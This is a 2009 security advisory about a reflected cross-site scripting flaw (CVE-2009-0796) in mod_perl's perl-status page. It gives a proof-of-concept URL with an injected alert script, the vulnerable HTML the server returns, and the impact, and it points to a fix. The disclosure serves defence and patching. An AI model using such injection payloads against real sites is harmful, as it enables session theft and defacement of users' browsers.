XSS with mod_perl perl_status utility

Vulnerability found: 28th February 2009

Vendor informed: 1st March 2009

Advisory last updated: 1st March 2009

Severity: Medium/High

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

CVE reference: CVE-2009-0796
BID: 34383

Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.

Description:

There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status utility. The perl-status
utility on request displays the current status of the Mod_perl server, and some configuration
information. Perl-status when configured to allow any viewers, presents an information disclosure
risk,
Procheckup has found by making a malformed request to perl-status, that additionally a vanilla
cross site scripting (XSS) attack is possible.

Proof of concept:

Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E

The following is returned:-
<p><a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded Modules</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance
Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl
Configuration</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled Registry
Scripts</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd
Files</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal Handlers</a><br
/>
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol Table
Dump</a><br />
</p></body></html>

An attacker may be able to cause execution of malicious scripting code in the browser of a user
who clicks on a link or visits a malicious webpage. The malicious code would run in the security
context of the vulnerable website.

This type of attack can result in non-persistent defacement of the target site, or the redirection
of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.

Fix:

http://perl.apache.org/

Legal:

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